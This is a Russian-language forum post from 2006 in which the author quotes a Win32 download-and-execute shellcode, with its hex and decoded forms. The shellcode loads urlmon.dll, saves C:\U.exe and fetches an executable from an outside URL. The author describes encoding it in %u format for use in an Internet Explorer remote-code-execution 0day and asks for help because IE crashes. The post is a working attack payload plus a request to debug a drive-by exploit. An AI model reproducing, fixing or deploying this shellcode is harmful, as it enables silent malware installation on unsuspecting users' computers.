| Mastermind |
23.06.2006 17:39 |
Теперь такая проблема: беру за основу win32 шеллкод (пробовал его скомилировать - работает без проблем):
Цитата:
http://someshit.nm.ru/shellcode_collection/Win32%20download%20&%20exec%20shellcode.txt
|
PHP код:
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
"http://h0nest.org/1.exe"
У меня есть декодер %uYYXX -> binary. Написал несложную програмку для преобразования \xXX\xYY -> %uYYXX. Декодером получил бинарик. Последнюю строку с URL не учитывал - просто удалил ее. Результат (HEX представление):
PHP код:
EB548B753C8B74357803F5568B762003
F533C94941AD33DB360FBE142838F274
08C1CB0D03DA40EBEF3BDF75E75E8B5E
2403DD668B0C4B8B5E1C03DD8B048B03
C5C375726C6D6F6E2E646C6C20433A5C
552E6578652033C064034030780C8B40
0C8B701CAD8B4008EB098B40348D407C
8B403C95BF8E4E0EECE884FFFFFF83EC
04832C243CFFD09550BF361A2F70E86F
FFFFFF8B5424FC8D52BA33DB535352EB
2453FFD05DBF98FE8A0EE853FFFFFF83
EC04832C2462FFD0BF7ED8E273E840FF
FFFF52FFD0E8D7FFFFFF
Результат (представление в блокноте):
PHP код:
лT‹u<‹t5xхV‹v х3ЙIA*3Ы6ѕ(8тtБЛ
Ъ@лп;Яuз^‹^$Эf‹K‹^Э‹‹ЕГurlmon.dll C:\U.exe 3Аd@0x‹@‹p*‹@л ‹@4Ќ@|‹@<•їЋNми„яяяѓмѓ,$<яР•Pї6/pиoяяя‹T$ьЌRє3ЫSSRл$SяР]ї?юЉиSяяяѓмѓ,$bяРї~Швsи@яяяRяРиЧяяя
Посмотрел на то как добавляется линк в Win32 шеллкоде просто дописал в Блокноте в конец бинарика линк (даже взял ту же длину линка, чтобы не ошибиться). Попробовал тестером шеллкодов запустить бинарик - облом, ошибка. Перекодировал бинарик в вид %uYYXX с помощью Multi-Format Shellcode Encoding Tool Beta 2. Подставил в IE шеллкод (Window() Remote Code Execution 0day). ИЕ вылетает с ошибкой. Хотя шеллкода запуска калькулятора работал.
Кто поможет разобраться?
|